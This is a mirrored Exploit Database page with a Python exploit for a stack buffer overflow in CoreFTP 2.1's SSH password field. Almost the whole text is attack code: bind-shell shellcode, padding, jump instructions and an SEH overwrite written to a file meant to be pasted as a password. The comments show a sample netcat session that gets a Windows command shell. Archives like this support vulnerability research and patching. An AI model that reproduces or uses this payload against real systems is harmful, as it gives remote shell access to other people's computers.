CoreFTP 2.1 b1637 – Password field Universal Buffer Overflow

Exploit Database
130 阅读

作者： mr_me

日期： 2010-02-02
类别：
- local
平台：
- windows
来源：https://www.exploit-db.com/exploits/11314/

100

#!/usr/bin/python

# Vulnerability : CoreFTP v2.1 b1637 (password field) Universal BOF exploit

# Found by : mr_me (seeleymagic [at] hotmail [dot] com)

# Coded by : mr_me & corelanc0d3r

# Download from : http://www.coreftp.com/download.html

# Tested on : XP SP3 En (VirtualBox)

# Greetz to : corelanc0d3r, EdiStrosar, jnz, rick2600, ekse, MarkoT, sinn3r & Jacky from Corelan Team

# Advisory : http://www.corelan.be:8800/index.php/forum/security-advisories/corelan-10-007-coreftp-password-field-stack-buffer-overflow/

# Thanks to Dr_IDE for pointing me to this app :)

# Notes: This app was compiled with safeSEH, so a call dword did the trick ;)

# If you manage to convince a user to input a 6000 length string as a password

# then they deserve to be owned...! ;)

# Usage: Quick connect --> Advanced --> SSH --> password --> bind shell ;)

# mrme@backtrack:~$ nc -v 192.168.2.9 4444

# 192.168.2.9: inverse host lookup failed: Unknown server error :

# Connection timed out

# (UNKNOWN) [192.168.2.9] 4444 (?) open

# Microsoft Windows XP [Version 5.1.2600]

# C:\PROGRA~1\CoreFTP>

print "|------------------------------------------------------------------|"

print "| __ __|"

print "| _________________/ /___ _____ / /________ _____ ___|"

print "|/ ___/ __ \/ ___/ _ \/ / __ <code>/ __ \ / __/ _ \/ __ </code>/ __ `__ \ |"

print "| / /__/ /_/ / //__/ / /_/ / / / // /_/__/ /_/ / / / / / / |"

print "| \___/\____/_/ \___/_/\__,_/_/ /_/ \__/\___/\__,_/_/ /_/ /_/|"

print "||"

print "| http://www.corelan.be:8800 |"

print "|security@corelan.be |"

print "||"

print "|-------------------------------------------------[ EIP Hunters ]--|"

print "[+] CoreFTP v2.1 b1637 (password field) Universal BOF exploit"

sc = ("\xeb\x03\x59\xeb\x05\xe8\xf8\xff\xff\xff\x4f\x49\x49\x49\x49\x49"

"\x49\x51\x5a\x56\x54\x58\x36\x33\x30\x56\x58\x34\x41\x30\x42\x36"

"\x48\x48\x30\x42\x33\x30\x42\x43\x56\x58\x32\x42\x44\x42\x48\x34"

"\x41\x32\x41\x44\x30\x41\x44\x54\x42\x44\x51\x42\x30\x41\x44\x41"

"\x56\x58\x34\x5a\x38\x42\x44\x4a\x4f\x4d\x4e\x4f\x4c\x36\x4b\x4e"

"\x4f\x44\x4a\x4e\x49\x4f\x4f\x4f\x4f\x4f\x4f\x4f\x42\x56\x4b\x58"

"\x4e\x56\x46\x32\x46\x32\x4b\x38\x45\x44\x4e\x43\x4b\x58\x4e\x47"

"\x45\x50\x4a\x57\x41\x50\x4f\x4e\x4b\x38\x4f\x34\x4a\x41\x4b\x58"

"\x4f\x55\x42\x52\x41\x30\x4b\x4e\x43\x4e\x42\x53\x49\x54\x4b\x38"

"\x46\x53\x4b\x58\x41\x30\x50\x4e\x41\x33\x42\x4c\x49\x39\x4e\x4a"

"\x46\x58\x42\x4c\x46\x57\x47\x30\x41\x4c\x4c\x4c\x4d\x50\x41\x30"

"\x44\x4c\x4b\x4e\x46\x4f\x4b\x33\x46\x55\x46\x42\x4a\x42\x45\x57"

"\x43\x4e\x4b\x58\x4f\x55\x46\x52\x41\x50\x4b\x4e\x48\x36\x4b\x58"

"\x4e\x50\x4b\x34\x4b\x48\x4f\x55\x4e\x41\x41\x30\x4b\x4e\x43\x30"

"\x4e\x52\x4b\x48\x49\x38\x4e\x36\x46\x42\x4e\x41\x41\x56\x43\x4c"

"\x41\x43\x42\x4c\x46\x46\x4b\x48\x42\x54\x42\x33\x4b\x58\x42\x44"

"\x4e\x50\x4b\x38\x42\x47\x4e\x41\x4d\x4a\x4b\x48\x42\x54\x4a\x50"

"\x50\x35\x4a\x46\x50\x58\x50\x44\x50\x50\x4e\x4e\x42\x35\x4f\x4f"

"\x48\x4d\x41\x53\x4b\x4d\x48\x36\x43\x55\x48\x56\x4a\x36\x43\x33"

"\x44\x33\x4a\x56\x47\x47\x43\x47\x44\x33\x4f\x55\x46\x55\x4f\x4f"

"\x42\x4d\x4a\x56\x4b\x4c\x4d\x4e\x4e\x4f\x4b\x53\x42\x45\x4f\x4f"

"\x48\x4d\x4f\x35\x49\x48\x45\x4e\x48\x56\x41\x48\x4d\x4e\x4a\x50"

"\x44\x30\x45\x55\x4c\x46\x44\x50\x4f\x4f\x42\x4d\x4a\x36\x49\x4d"

"\x49\x50\x45\x4f\x4d\x4a\x47\x55\x4f\x4f\x48\x4d\x43\x45\x43\x45"

"\x43\x55\x43\x55\x43\x45\x43\x34\x43\x45\x43\x34\x43\x35\x4f\x4f"

"\x42\x4d\x48\x56\x4a\x56\x41\x41\x4e\x35\x48\x36\x43\x35\x49\x38"

"\x41\x4e\x45\x49\x4a\x46\x46\x4a\x4c\x51\x42\x57\x47\x4c\x47\x55"

"\x4f\x4f\x48\x4d\x4c\x36\x42\x31\x41\x45\x45\x35\x4f\x4f\x42\x4d"

"\x4a\x36\x46\x4a\x4d\x4a\x50\x42\x49\x4e\x47\x55\x4f\x4f\x48\x4d"

"\x43\x35\x45\x35\x4f\x4f\x42\x4d\x4a\x36\x45\x4e\x49\x44\x48\x38"

"\x49\x54\x47\x55\x4f\x4f\x48\x4d\x42\x55\x46\x35\x46\x45\x45\x35"

"\x4f\x4f\x42\x4d\x43\x49\x4a\x56\x47\x4e\x49\x37\x48\x4c\x49\x37"

"\x47\x45\x4f\x4f\x48\x4d\x45\x55\x4f\x4f\x42\x4d\x48\x36\x4c\x56"

"\x46\x46\x48\x36\x4a\x46\x43\x56\x4d\x56\x49\x38\x45\x4e\x4c\x56"

"\x42\x55\x49\x55\x49\x52\x4e\x4c\x49\x48\x47\x4e\x4c\x36\x46\x54"

"\x49\x58\x44\x4e\x41\x43\x42\x4c\x43\x4f\x4c\x4a\x50\x4f\x44\x54"

"\x4d\x32\x50\x4f\x44\x54\x4e\x52\x43\x49\x4d\x58\x4c\x47\x4a\x53"

"\x4b\x4a\x4b\x4a\x4b\x4a\x4a\x46\x44\x57\x50\x4f\x43\x4b\x48\x51"

"\x4f\x4f\x45\x57\x46\x54\x4f\x4f\x48\x4d\x4b\x45\x47\x35\x44\x35"

"\x41\x35\x41\x55\x41\x35\x4c\x46\x41\x50\x41\x35\x41\x45\x45\x35"

"\x41\x45\x4f\x4f\x42\x4d\x4a\x56\x4d\x4a\x49\x4d\x45\x30\x50\x4c"

"\x43\x35\x4f\x4f\x48\x4d\x4c\x56\x4f\x4f\x4f\x4f\x47\x33\x4f\x4f"

"\x42\x4d\x4b\x58\x47\x45\x4e\x4f\x43\x38\x46\x4c\x46\x36\x4f\x4f"

"\x48\x4d\x44\x55\x4f\x4f\x42\x4d\x4a\x36\x4f\x4e\x50\x4c\x42\x4e"

"\x42\x36\x43\x55\x4f\x4f\x48\x4d\x4f\x4f\x42\x4d\x5a");

print "[+] Creating evil buffer string in overflowpassword.txt, ph33r"

stuff = "\x41" * 145

stuff += "\x90" * 5

stuff += sc

stuff += "\x41" * (1008-len(stuff)-5)

stuff += "\xe9\x7c\xfc\xff\xff" # Lets fly

stuff += "\xeb\xf9\x90\x90" # Jump back

stuff += "\x0b\x0b\x27\x00" # partial/null overwrite

pwn = open('overflowpassword.txt','w');

pwn.write(stuff);

pwn.close();